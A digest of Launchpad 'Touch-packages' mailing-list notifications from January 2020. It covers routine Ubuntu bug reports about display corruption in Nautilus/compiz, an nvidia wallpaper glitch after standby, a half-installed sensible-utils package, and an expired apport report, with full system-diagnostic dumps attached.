[Touch-packages] [Bug 1858753] Re: listing of files is temporarily a few minutes corrupted

2020-01-07 Thread Daniel van Vugt
Thanks for the bug report. The only problem I can see in your video is a
glitch on the "Scaleo L" icon. Is that correct?

** Package changed: xorg (Ubuntu) => compiz (Ubuntu)

** Also affects: nautilus (Ubuntu)
   Importance: Undecided
   Status: New

** Changed in: compiz (Ubuntu)
   Status: New => Incomplete

** Changed in: nautilus (Ubuntu)
   Status: New => Incomplete

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to xorg in Ubuntu.
https://bugs.launchpad.net/bugs/1858753

Title:
  listing of files is temporarily a few minutes corrupted

Status in compiz package in Ubuntu:
  Incomplete
Status in nautilus package in Ubuntu:
  Incomplete

Bug description:
  listing of files is temporarily a few minutes corrupted

  ProblemType: Bug
  DistroRelease: Ubuntu 16.04
  Package: xorg 1:7.7+13ubuntu3
  ProcVersionSignature: Ubuntu 4.15.0-72.81~16.04.1-generic 4.15.18
  Uname: Linux 4.15.0-72-generic x86_64
  .tmp.unity_support_test.0:
   
  ApportVersion: 2.20.1-0ubuntu2.21
  Architecture: amd64
  CompizPlugins: No value set for 
`/apps/compiz-1/general/screen0/options/active_plugins'
  CompositorRunning: compiz
  CompositorUnredirectDriverBlacklist: '(nouveau|Intel).*Mesa 8.0'
  CompositorUnredirectFSW: true
  CurrentDesktop: Unity
  Date: Wed Jan  8 07:32:12 2020
  DistUpgraded: Fresh install
  DistroCodename: xenial
  DistroVariant: ubuntu
  ExtraDebuggingInterest: No
  GraphicsCard:
   Intel Corporation Atom Processor Z36xxx/Z37xxx Series Graphics & Display 
[8086:0f31] (rev 0e) (prog-if 00 [VGA controller])
 Subsystem: Lenovo Atom Processor Z36xxx/Z37xxx Series Graphics & Display 
[17aa:3909]
  InstallationDate: Installed on 2019-02-11 (330 days ago)
  InstallationMedia: Ubuntu 16.04.3 LTS "Xenial Xerus" - Release amd64 
(20170801)
  Lsusb:
   Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub
   Bus 003 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hub
   Bus 002 Device 003: ID 13d3:3494 IMC Networks 
   Bus 002 Device 002: ID 174f:1169 Syntek 
   Bus 002 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub
  MachineType: LENOVO 80QR
  ProcEnviron:
   LANGUAGE=de_DE
   PATH=(custom, no user)
   XDG_RUNTIME_DIR=
   LANG=de_DE.UTF-8
   SHELL=/bin/bash
  ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.15.0-72-generic 
root=UUID=a2de3362-190e-4c23-ac87-af227c4b0888 ro quiet splash vt.handoff=7
  SourcePackage: xorg
  Symptom: display
  UpgradeStatus: No upgrade log present (probably fresh install)
  dmi.bios.date: 08/25/2016
  dmi.bios.vendor: LENOVO
  dmi.bios.version: CCCN20WW(V2.06)
  dmi.board.asset.tag: NO Asset Tag
  dmi.board.name: Lenovo B50-10
  dmi.board.vendor: LENOVO
  dmi.board.version: No DPK
  dmi.chassis.asset.tag: NO Asset Tag
  dmi.chassis.type: 10
  dmi.chassis.vendor: LENOVO
  dmi.chassis.version: Lenovo B50-10
  dmi.modalias: 
dmi:bvnLENOVO:bvrCCCN20WW(V2.06):bd08/25/2016:svnLENOVO:pn80QR:pvrLenovoB50-10:rvnLENOVO:rnLenovoB50-10:rvrNoDPK:cvnLENOVO:ct10:cvrLenovoB50-10:
  dmi.product.family: IDEAPAD
  dmi.product.name: 80QR
  dmi.product.version: Lenovo B50-10
  dmi.sys.vendor: LENOVO
  version.compiz: compiz 1:0.9.12.2+16.04.20160823-0ubuntu1
  version.ia32-libs: ia32-libs N/A
  version.libdrm2: libdrm2 2.4.91-2~16.04.1
  version.libgl1-mesa-dri: libgl1-mesa-dri 17.0.7-0ubuntu0.16.04.1
  version.libgl1-mesa-dri-experimental: libgl1-mesa-dri-experimental N/A
  version.libgl1-mesa-glx: libgl1-mesa-glx 17.0.7-0ubuntu0.16.04.1
  version.xserver-xorg-core: xserver-xorg-core N/A
  version.xserver-xorg-input-evdev: xserver-xorg-input-evdev N/A
  version.xserver-xorg-video-ati: xserver-xorg-video-ati N/A
  version.xserver-xorg-video-intel: xserver-xorg-video-intel N/A
  version.xserver-xorg-video-nouveau: xserver-xorg-video-nouveau N/A
  xserver.bootTime: Wed Jan  8 06:00:20 2020
  xserver.configfile: default
  xserver.errors:
   
  xserver.logfile: /var/log/Xorg.0.log
  xserver.version: 2:1.19.6-1ubuntu4.1~16.04.2
  xserver.video_driver: modeset

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/compiz/+bug/1858753/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp


[Touch-packages] [Bug 1752721] Re: package sensible-utils 0.0.9 failed to install/upgrade: package sensible-utils is not ready for configuration cannot configure (current status 'half-installed')

2020-01-07 Thread Song Hyo Jin
me too. - 14.04

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to sensible-utils in Ubuntu.
https://bugs.launchpad.net/bugs/1752721

Title:
  package sensible-utils 0.0.9 failed to install/upgrade: package
  sensible-utils is not ready for configuration  cannot configure
  (current status 'half-installed')

Status in sensible-utils package in Ubuntu:
  Confirmed

Bug description:
  dpkg: error processing package sensible-utils (--configure):
   package sensible-utils is not ready for configuration
   cannot configure (current status 'half-installed')
  E: Sub-process /usr/bin/dpkg returned an error code (1)

  ProblemType: Package
  DistroRelease: Ubuntu 16.04
  Package: sensible-utils 0.0.9
  ProcVersionSignature: Ubuntu 4.10.0-28.32~16.04.2-generic 4.10.17
  Uname: Linux 4.10.0-28-generic x86_64
  ApportVersion: 2.20.1-0ubuntu2.10
  Architecture: amd64
  Date: Thu Mar  1 22:44:17 2018
  Dependencies:
   
  DpkgTerminalLog:
   dpkg: error processing package sensible-utils (--configure):
package sensible-utils is not ready for configuration
cannot configure (current status 'half-installed')
  ErrorMessage: package sensible-utils is not ready for configuration  cannot 
configure (current status 'half-installed')
  InstallationDate: Installed on 2018-03-01 (0 days ago)
  InstallationMedia: Ubuntu 16.04.3 LTS "Xenial Xerus" - Release amd64 
(20170801)
  PackageArchitecture: all
  RelatedPackageVersions:
   dpkg 1.18.4ubuntu1.3
   apt  1.2.25
  SourcePackage: sensible-utils
  Title: package sensible-utils 0.0.9 failed to install/upgrade: package 
sensible-utils is not ready for configuration  cannot configure (current status 
'half-installed')
  UpgradeStatus: No upgrade log present (probably fresh install)

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/sensible-utils/+bug/1752721/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp


[Touch-packages] [Bug 1752721] Re: package sensible-utils 0.0.9 failed to install/upgrade: package sensible-utils is not ready for configuration cannot configure (current status 'half-installed')

2020-01-07 Thread Launchpad Bug Tracker
Status changed to 'Confirmed' because the bug affects multiple users.

** Changed in: sensible-utils (Ubuntu)
   Status: New => Confirmed

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to sensible-utils in Ubuntu.
https://bugs.launchpad.net/bugs/1752721

Title:
  package sensible-utils 0.0.9 failed to install/upgrade: package
  sensible-utils is not ready for configuration  cannot configure
  (current status 'half-installed')

Status in sensible-utils package in Ubuntu:
  Confirmed

Bug description:
  dpkg: error processing package sensible-utils (--configure):
   package sensible-utils is not ready for configuration
   cannot configure (current status 'half-installed')
  E: Sub-process /usr/bin/dpkg returned an error code (1)

  ProblemType: Package
  DistroRelease: Ubuntu 16.04
  Package: sensible-utils 0.0.9
  ProcVersionSignature: Ubuntu 4.10.0-28.32~16.04.2-generic 4.10.17
  Uname: Linux 4.10.0-28-generic x86_64
  ApportVersion: 2.20.1-0ubuntu2.10
  Architecture: amd64
  Date: Thu Mar  1 22:44:17 2018
  Dependencies:
   
  DpkgTerminalLog:
   dpkg: error processing package sensible-utils (--configure):
package sensible-utils is not ready for configuration
cannot configure (current status 'half-installed')
  ErrorMessage: package sensible-utils is not ready for configuration  cannot 
configure (current status 'half-installed')
  InstallationDate: Installed on 2018-03-01 (0 days ago)
  InstallationMedia: Ubuntu 16.04.3 LTS "Xenial Xerus" - Release amd64 
(20170801)
  PackageArchitecture: all
  RelatedPackageVersions:
   dpkg 1.18.4ubuntu1.3
   apt  1.2.25
  SourcePackage: sensible-utils
  Title: package sensible-utils 0.0.9 failed to install/upgrade: package 
sensible-utils is not ready for configuration  cannot configure (current status 
'half-installed')
  UpgradeStatus: No upgrade log present (probably fresh install)

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/sensible-utils/+bug/1752721/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp


[Touch-packages] [Bug 1752721] Re: package sensible-utils 0.0.9 failed to install/upgrade: package sensible-utils is not ready for configuration cannot configure (current status 'half-installed')

2020-01-07 Thread Song Hyo Jin
resolved
sudo apt install sensible-utils

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to sensible-utils in Ubuntu.
https://bugs.launchpad.net/bugs/1752721

Title:
  package sensible-utils 0.0.9 failed to install/upgrade: package
  sensible-utils is not ready for configuration  cannot configure
  (current status 'half-installed')

Status in sensible-utils package in Ubuntu:
  Confirmed

Bug description:
  dpkg: error processing package sensible-utils (--configure):
   package sensible-utils is not ready for configuration
   cannot configure (current status 'half-installed')
  E: Sub-process /usr/bin/dpkg returned an error code (1)

  ProblemType: Package
  DistroRelease: Ubuntu 16.04
  Package: sensible-utils 0.0.9
  ProcVersionSignature: Ubuntu 4.10.0-28.32~16.04.2-generic 4.10.17
  Uname: Linux 4.10.0-28-generic x86_64
  ApportVersion: 2.20.1-0ubuntu2.10
  Architecture: amd64
  Date: Thu Mar  1 22:44:17 2018
  Dependencies:
   
  DpkgTerminalLog:
   dpkg: error processing package sensible-utils (--configure):
package sensible-utils is not ready for configuration
cannot configure (current status 'half-installed')
  ErrorMessage: package sensible-utils is not ready for configuration  cannot 
configure (current status 'half-installed')
  InstallationDate: Installed on 2018-03-01 (0 days ago)
  InstallationMedia: Ubuntu 16.04.3 LTS "Xenial Xerus" - Release amd64 
(20170801)
  PackageArchitecture: all
  RelatedPackageVersions:
   dpkg 1.18.4ubuntu1.3
   apt  1.2.25
  SourcePackage: sensible-utils
  Title: package sensible-utils 0.0.9 failed to install/upgrade: package 
sensible-utils is not ready for configuration  cannot configure (current status 
'half-installed')
  UpgradeStatus: No upgrade log present (probably fresh install)

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/sensible-utils/+bug/1752721/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp


[Touch-packages] [Bug 1858753] [NEW] listing of files is temporarily a few minutes corrupted

2020-01-07 Thread Johannes von Schlichtegroll
Public bug reported:

listing of files is temporarily a few minutes corrupted

ProblemType: Bug
DistroRelease: Ubuntu 16.04
Package: xorg 1:7.7+13ubuntu3
ProcVersionSignature: Ubuntu 4.15.0-72.81~16.04.1-generic 4.15.18
Uname: Linux 4.15.0-72-generic x86_64
.tmp.unity_support_test.0:
 
ApportVersion: 2.20.1-0ubuntu2.21
Architecture: amd64
CompizPlugins: No value set for 
`/apps/compiz-1/general/screen0/options/active_plugins'
CompositorRunning: compiz
CompositorUnredirectDriverBlacklist: '(nouveau|Intel).*Mesa 8.0'
CompositorUnredirectFSW: true
CurrentDesktop: Unity
Date: Wed Jan  8 07:32:12 2020
DistUpgraded: Fresh install
DistroCodename: xenial
DistroVariant: ubuntu
ExtraDebuggingInterest: No
GraphicsCard:
 Intel Corporation Atom Processor Z36xxx/Z37xxx Series Graphics & Display 
[8086:0f31] (rev 0e) (prog-if 00 [VGA controller])
   Subsystem: Lenovo Atom Processor Z36xxx/Z37xxx Series Graphics & Display 
[17aa:3909]
InstallationDate: Installed on 2019-02-11 (330 days ago)
InstallationMedia: Ubuntu 16.04.3 LTS "Xenial Xerus" - Release amd64 (20170801)
Lsusb:
 Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub
 Bus 003 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hub
 Bus 002 Device 003: ID 13d3:3494 IMC Networks 
 Bus 002 Device 002: ID 174f:1169 Syntek 
 Bus 002 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub
MachineType: LENOVO 80QR
ProcEnviron:
 LANGUAGE=de_DE
 PATH=(custom, no user)
 XDG_RUNTIME_DIR=
 LANG=de_DE.UTF-8
 SHELL=/bin/bash
ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.15.0-72-generic 
root=UUID=a2de3362-190e-4c23-ac87-af227c4b0888 ro quiet splash vt.handoff=7
SourcePackage: xorg
Symptom: display
UpgradeStatus: No upgrade log present (probably fresh install)
dmi.bios.date: 08/25/2016
dmi.bios.vendor: LENOVO
dmi.bios.version: CCCN20WW(V2.06)
dmi.board.asset.tag: NO Asset Tag
dmi.board.name: Lenovo B50-10
dmi.board.vendor: LENOVO
dmi.board.version: No DPK
dmi.chassis.asset.tag: NO Asset Tag
dmi.chassis.type: 10
dmi.chassis.vendor: LENOVO
dmi.chassis.version: Lenovo B50-10
dmi.modalias: 
dmi:bvnLENOVO:bvrCCCN20WW(V2.06):bd08/25/2016:svnLENOVO:pn80QR:pvrLenovoB50-10:rvnLENOVO:rnLenovoB50-10:rvrNoDPK:cvnLENOVO:ct10:cvrLenovoB50-10:
dmi.product.family: IDEAPAD
dmi.product.name: 80QR
dmi.product.version: Lenovo B50-10
dmi.sys.vendor: LENOVO
version.compiz: compiz 1:0.9.12.2+16.04.20160823-0ubuntu1
version.ia32-libs: ia32-libs N/A
version.libdrm2: libdrm2 2.4.91-2~16.04.1
version.libgl1-mesa-dri: libgl1-mesa-dri 17.0.7-0ubuntu0.16.04.1
version.libgl1-mesa-dri-experimental: libgl1-mesa-dri-experimental N/A
version.libgl1-mesa-glx: libgl1-mesa-glx 17.0.7-0ubuntu0.16.04.1
version.xserver-xorg-core: xserver-xorg-core N/A
version.xserver-xorg-input-evdev: xserver-xorg-input-evdev N/A
version.xserver-xorg-video-ati: xserver-xorg-video-ati N/A
version.xserver-xorg-video-intel: xserver-xorg-video-intel N/A
version.xserver-xorg-video-nouveau: xserver-xorg-video-nouveau N/A
xserver.bootTime: Wed Jan  8 06:00:20 2020
xserver.configfile: default
xserver.errors:
 
xserver.logfile: /var/log/Xorg.0.log
xserver.version: 2:1.19.6-1ubuntu4.1~16.04.2
xserver.video_driver: modeset

** Affects: xorg (Ubuntu)
 Importance: Undecided
 Status: New


** Tags: amd64 apport-bug compiz-0.9 corruption ubuntu xenial

** Attachment added: "screencast_20191214_21.03_(++).mp4"
   
https://bugs.launchpad.net/bugs/1858753/+attachment/5318460/+files/screencast_20191214_21.03_%28++%29.mp4

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to xorg in Ubuntu.
https://bugs.launchpad.net/bugs/1858753

Title:
  listing of files is temporarily a few minutes corrupted

Status in xorg package in Ubuntu:
  New

Bug description:
  listing of files is temporarily a few minutes corrupted

  ProblemType: Bug
  DistroRelease: Ubuntu 16.04
  Package: xorg 1:7.7+13ubuntu3
  ProcVersionSignature: Ubuntu 4.15.0-72.81~16.04.1-generic 4.15.18
  Uname: Linux 4.15.0-72-generic x86_64
  .tmp.unity_support_test.0:
   
  ApportVersion: 2.20.1-0ubuntu2.21
  Architecture: amd64
  CompizPlugins: No value set for 
`/apps/compiz-1/general/screen0/options/active_plugins'
  CompositorRunning: compiz
  CompositorUnredirectDriverBlacklist: '(nouveau|Intel).*Mesa 8.0'
  CompositorUnredirectFSW: true
  CurrentDesktop: Unity
  Date: Wed Jan  8 07:32:12 2020
  DistUpgraded: Fresh install
  DistroCodename: xenial
  DistroVariant: ubuntu
  ExtraDebuggingInterest: No
  GraphicsCard:
   Intel Corporation Atom Processor Z36xxx/Z37xxx Series Graphics & Display 
[8086:0f31] (rev 0e) (prog-if 00 [VGA controller])
 Subsystem: Lenovo Atom Processor Z36xxx/Z37xxx Series Graphics & Display 
[17aa:3909]
  InstallationDate: Installed on 2019-02-11 (330 days ago)
  InstallationMedia: Ubuntu 16.04.3 LTS "Xenial Xerus" - Release amd64 
(20170801)
  Lsusb:
   Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub
   Bus 003 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root 

[Touch-packages] [Bug 1858748] Re: Display background crashing

2020-01-07 Thread Daniel van Vugt
*** This bug is a duplicate of bug 1855757 ***
https://bugs.launchpad.net/bugs/1855757

Thank you for taking the time to report this bug and helping to make
Ubuntu better. This particular bug has already been reported and is a
duplicate of bug 1855757, so it is being marked as such. Please look at
the other bug report to see if there is any missing information that you
can provide, or to see if there is a workaround for the bug.
Additionally, any further discussion regarding the bug should occur in
the other report. Feel free to continue to report any other bugs you may
find.


** Tags added: nvidia

** Package changed: xorg (Ubuntu) => mutter (Ubuntu)

** This bug has been marked a duplicate of bug 1855757
   [nvidia] Background image corrupted after standby 19.10

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to xorg in Ubuntu.
https://bugs.launchpad.net/bugs/1858748

Title:
  Display background crashing

Status in mutter package in Ubuntu:
  New

Bug description:
  when i am sleep my computer os and reopen os than background is
  crashing.. means my set background image is crash and dispaly only
  white image screen... all function work only background image is
  change.

  ProblemType: Bug
  DistroRelease: Ubuntu 19.10
  Package: xorg 1:7.7+19ubuntu12
  ProcVersionSignature: Ubuntu 5.3.0-24.26-generic 5.3.10
  Uname: Linux 5.3.0-24-generic x86_64
  NonfreeKernelModules: wl nvidia
  .proc.driver.nvidia.gpus..08.00.0: Error: [Errno 21] Is a directory: 
'/proc/driver/nvidia/gpus/:08:00.0'
  .proc.driver.nvidia.registry: Binary: ""
  .proc.driver.nvidia.version:
   NVRM version: NVIDIA UNIX x86_64 Kernel Module  340.107  Thu May 24 21:54:01 
PDT 2018
   GCC version:  gcc version 9.2.1 20191008 (Ubuntu 9.2.1-9ubuntu2)
  ApportVersion: 2.20.11-0ubuntu8.2
  Architecture: amd64
  BootLog: Error: [Errno 13] Permission denied: '/var/log/boot.log'
  CompositorRunning: None
  CurrentDesktop: ubuntu:GNOME
  Date: Wed Jan  8 10:18:06 2020
  DistUpgraded: Fresh install
  DistroCodename: eoan
  DistroVariant: ubuntu
  DkmsStatus:
   bcmwl, 6.30.223.271+bdcom, 5.3.0-18-generic, x86_64: installed
   bcmwl, 6.30.223.271+bdcom, 5.3.0-24-generic, x86_64: installed
   nvidia-340, 340.107, 5.3.0-18-generic, x86_64: installed
   nvidia-340, 340.107, 5.3.0-24-generic, x86_64: installed
  GraphicsCard:
   Intel Corporation Haswell-ULT Integrated Graphics Controller [8086:0a16] 
(rev 0b) (prog-if 00 [VGA controller])
 Subsystem: Dell Haswell-ULT Integrated Graphics Controller [1028:0652]
 Subsystem: Dell GeForce 820M [1028:0652]
  InstallationDate: Installed on 2020-01-03 (4 days ago)
  InstallationMedia: Ubuntu 19.10 "Eoan Ermine" - Release amd64 (20191017)
  MachineType: Dell Inc. Inspiron 3542
  ProcEnviron:
   LANGUAGE=en_IN:en
   PATH=(custom, no user)
   XDG_RUNTIME_DIR=
   LANG=en_IN
   SHELL=/bin/bash
  ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-5.3.0-24-generic 
root=UUID=24f24978-110a-435f-ab06-29e6ee498c1e ro quiet splash vt.handoff=7
  SourcePackage: xorg
  Symptom: display
  UpgradeStatus: No upgrade log present (probably fresh install)
  dmi.bios.date: 05/13/2016
  dmi.bios.vendor: Dell Inc.
  dmi.bios.version: A12
  dmi.board.name: 0RK2KV
  dmi.board.vendor: Dell Inc.
  dmi.board.version: A12
  dmi.chassis.type: 8
  dmi.chassis.vendor: Dell Inc.
  dmi.chassis.version: Not Specified
  dmi.modalias: 
dmi:bvnDellInc.:bvrA12:bd05/13/2016:svnDellInc.:pnInspiron3542:pvrNotSpecified:rvnDellInc.:rn0RK2KV:rvrA12:cvnDellInc.:ct8:cvrNotSpecified:
  dmi.product.name: Inspiron 3542
  dmi.product.sku: 0652
  dmi.product.version: Not Specified
  dmi.sys.vendor: Dell Inc.
  version.compiz: compiz N/A
  version.libdrm2: libdrm2 2.4.99-1ubuntu1
  version.libgl1-mesa-dri: libgl1-mesa-dri 19.2.1-1ubuntu1
  version.libgl1-mesa-glx: libgl1-mesa-glx N/A
  version.nvidia-graphics-drivers: nvidia-graphics-drivers-* N/A
  version.xserver-xorg-core: xserver-xorg-core 2:1.20.5+git20191008-0ubuntu1
  version.xserver-xorg-input-evdev: xserver-xorg-input-evdev N/A
  version.xserver-xorg-video-ati: xserver-xorg-video-ati 1:19.0.1-1ubuntu1
  version.xserver-xorg-video-intel: xserver-xorg-video-intel 
2:2.99.917+git20190815-1
  version.xserver-xorg-video-nouveau: xserver-xorg-video-nouveau 1:1.0.16-1

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/mutter/+bug/1858748/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp


[Touch-packages] [Bug 1858748] [NEW] Display background crashing

2020-01-07 Thread venish shiyani
Public bug reported:

when i am sleep my computer os and reopen os than background is
crashing.. means my set background image is crash and dispaly only white
image screen... all function work only background image is change.

ProblemType: Bug
DistroRelease: Ubuntu 19.10
Package: xorg 1:7.7+19ubuntu12
ProcVersionSignature: Ubuntu 5.3.0-24.26-generic 5.3.10
Uname: Linux 5.3.0-24-generic x86_64
NonfreeKernelModules: wl nvidia
.proc.driver.nvidia.gpus..08.00.0: Error: [Errno 21] Is a directory: 
'/proc/driver/nvidia/gpus/:08:00.0'
.proc.driver.nvidia.registry: Binary: ""
.proc.driver.nvidia.version:
 NVRM version: NVIDIA UNIX x86_64 Kernel Module  340.107  Thu May 24 21:54:01 
PDT 2018
 GCC version:  gcc version 9.2.1 20191008 (Ubuntu 9.2.1-9ubuntu2)
ApportVersion: 2.20.11-0ubuntu8.2
Architecture: amd64
BootLog: Error: [Errno 13] Permission denied: '/var/log/boot.log'
CompositorRunning: None
CurrentDesktop: ubuntu:GNOME
Date: Wed Jan  8 10:18:06 2020
DistUpgraded: Fresh install
DistroCodename: eoan
DistroVariant: ubuntu
DkmsStatus:
 bcmwl, 6.30.223.271+bdcom, 5.3.0-18-generic, x86_64: installed
 bcmwl, 6.30.223.271+bdcom, 5.3.0-24-generic, x86_64: installed
 nvidia-340, 340.107, 5.3.0-18-generic, x86_64: installed
 nvidia-340, 340.107, 5.3.0-24-generic, x86_64: installed
GraphicsCard:
 Intel Corporation Haswell-ULT Integrated Graphics Controller [8086:0a16] (rev 
0b) (prog-if 00 [VGA controller])
   Subsystem: Dell Haswell-ULT Integrated Graphics Controller [1028:0652]
   Subsystem: Dell GeForce 820M [1028:0652]
InstallationDate: Installed on 2020-01-03 (4 days ago)
InstallationMedia: Ubuntu 19.10 "Eoan Ermine" - Release amd64 (20191017)
MachineType: Dell Inc. Inspiron 3542
ProcEnviron:
 LANGUAGE=en_IN:en
 PATH=(custom, no user)
 XDG_RUNTIME_DIR=
 LANG=en_IN
 SHELL=/bin/bash
ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-5.3.0-24-generic 
root=UUID=24f24978-110a-435f-ab06-29e6ee498c1e ro quiet splash vt.handoff=7
SourcePackage: xorg
Symptom: display
UpgradeStatus: No upgrade log present (probably fresh install)
dmi.bios.date: 05/13/2016
dmi.bios.vendor: Dell Inc.
dmi.bios.version: A12
dmi.board.name: 0RK2KV
dmi.board.vendor: Dell Inc.
dmi.board.version: A12
dmi.chassis.type: 8
dmi.chassis.vendor: Dell Inc.
dmi.chassis.version: Not Specified
dmi.modalias: 
dmi:bvnDellInc.:bvrA12:bd05/13/2016:svnDellInc.:pnInspiron3542:pvrNotSpecified:rvnDellInc.:rn0RK2KV:rvrA12:cvnDellInc.:ct8:cvrNotSpecified:
dmi.product.name: Inspiron 3542
dmi.product.sku: 0652
dmi.product.version: Not Specified
dmi.sys.vendor: Dell Inc.
version.compiz: compiz N/A
version.libdrm2: libdrm2 2.4.99-1ubuntu1
version.libgl1-mesa-dri: libgl1-mesa-dri 19.2.1-1ubuntu1
version.libgl1-mesa-glx: libgl1-mesa-glx N/A
version.nvidia-graphics-drivers: nvidia-graphics-drivers-* N/A
version.xserver-xorg-core: xserver-xorg-core 2:1.20.5+git20191008-0ubuntu1
version.xserver-xorg-input-evdev: xserver-xorg-input-evdev N/A
version.xserver-xorg-video-ati: xserver-xorg-video-ati 1:19.0.1-1ubuntu1
version.xserver-xorg-video-intel: xserver-xorg-video-intel 
2:2.99.917+git20190815-1
version.xserver-xorg-video-nouveau: xserver-xorg-video-nouveau 1:1.0.16-1

** Affects: xorg (Ubuntu)
 Importance: Undecided
 Status: New


** Tags: amd64 apport-bug corruption eoan ubuntu

** Attachment added: "see this image when i open my sleep mode computer and 
display background is change"
   
https://bugs.launchpad.net/bugs/1858748/+attachment/5318439/+files/Screenshot%20from%202020-01-08%2010-19-33.png

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to xorg in Ubuntu.
https://bugs.launchpad.net/bugs/1858748

Title:
  Display background crashing

Status in xorg package in Ubuntu:
  New

Bug description:
  when i am sleep my computer os and reopen os than background is
  crashing.. means my set background image is crash and dispaly only
  white image screen... all function work only background image is
  change.

  ProblemType: Bug
  DistroRelease: Ubuntu 19.10
  Package: xorg 1:7.7+19ubuntu12
  ProcVersionSignature: Ubuntu 5.3.0-24.26-generic 5.3.10
  Uname: Linux 5.3.0-24-generic x86_64
  NonfreeKernelModules: wl nvidia
  .proc.driver.nvidia.gpus..08.00.0: Error: [Errno 21] Is a directory: 
'/proc/driver/nvidia/gpus/:08:00.0'
  .proc.driver.nvidia.registry: Binary: ""
  .proc.driver.nvidia.version:
   NVRM version: NVIDIA UNIX x86_64 Kernel Module  340.107  Thu May 24 21:54:01 
PDT 2018
   GCC version:  gcc version 9.2.1 20191008 (Ubuntu 9.2.1-9ubuntu2)
  ApportVersion: 2.20.11-0ubuntu8.2
  Architecture: amd64
  BootLog: Error: [Errno 13] Permission denied: '/var/log/boot.log'
  CompositorRunning: None
  CurrentDesktop: ubuntu:GNOME
  Date: Wed Jan  8 10:18:06 2020
  DistUpgraded: Fresh install
  DistroCodename: eoan
  DistroVariant: ubuntu
  DkmsStatus:
   bcmwl, 6.30.223.271+bdcom, 5.3.0-18-generic, x86_64: installed
   bcmwl, 6.30.223.271+bdcom, 5.3.0-24-generic, x86_64: installed
   

[Touch-packages] [Bug 1850986] Re: many problems:

2020-01-07 Thread Launchpad Bug Tracker
[Expired for apport (Ubuntu) because there has been no activity for 60
days.]

** Changed in: apport (Ubuntu)
   Status: Incomplete => Expired

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to apport in Ubuntu.
https://bugs.launchpad.net/bugs/1850986

Title:
  many problems:

Status in apport package in Ubuntu:
  Expired
Status in linux package in Ubuntu:
  Expired

Bug description:
  1st Neither 
  ubuntu-bug linux nor sudo  ubuntu-bug linux 
  sudo cat /proc/version_signature > version.log
  sudo lspci -vnvn > lspci-vnvn.log
  work! 

  2 Bug reporting is so hard!

  3 Cannot find bug reporting section for Linuxmint so as to empart to
  Ubuntu that the problem is with the Kernels and not the drivers.

  4. The bug is with 4K monitors and the Linuxmint OS is continuously
  trying to load drivers for the screen. Constantly failing.

  I would gladly report the bug properly if I knew how to. As information is so 
vague I can't help. 
  Remember that if a novice can't find what he is looking for to fix a bug then 
there is a guarantee that the novice will never use that system again. Not all 
users are able to understand all commands if they are not in use every day. 
That is the case with me. Sadly, I want to use the system but the system is 
failing it's novices. It's not the fault of the novice if he/she cannot find 
the relevant information as there is seriously way too much information on any 
given subject out there. Deciphering it is a minefield of displeasure. 

  Pity ain't it! That is why people are giving up computers.
  --- 
  ProblemType: Bug
  ApportVersion: 2.20.9-0ubuntu7.9
  Architecture: amd64
  CurrentDesktop: X-Cinnamon
  DistroRelease: Linux Mint 19.2
  InstallationDate: Installed on 2019-11-03 (4 days ago)
  InstallationMedia: Linux Mint 19.2 "Tina" - Release amd64 20190729
  NonfreeKernelModules: nvidia_modeset nvidia
  Package: linux
  PackageArchitecture: all
  ProcVersionSignature: Ubuntu 5.0.0-32.34~18.04.2-generic 5.0.21
  Tags: third-party-packages tina
  Uname: Linux 5.0.0-32-generic x86_64
  UnreportableReason: This is not an official Linux package. Please remove any 
third party package and try again.
  UpgradeStatus: No upgrade log present (probably fresh install)
  UserGroups: adm cdrom dip lpadmin plugdev sambashare sudo
  _MarkForUpload: True
  --- 
  ProblemType: Bug
  ApportVersion: 2.20.9-0ubuntu7.9
  Architecture: amd64
  CurrentDesktop: X-Cinnamon
  DistroRelease: Linux Mint 19.2
  InstallationDate: Installed on 2019-11-03 (4 days ago)
  InstallationMedia: Linux Mint 19.2 "Tina" - Release amd64 20190729
  NonfreeKernelModules: nvidia_modeset nvidia
  Package: linux
  PackageArchitecture: all
  ProcVersionSignature: Ubuntu 5.0.0-32.34~18.04.2-generic 5.0.21
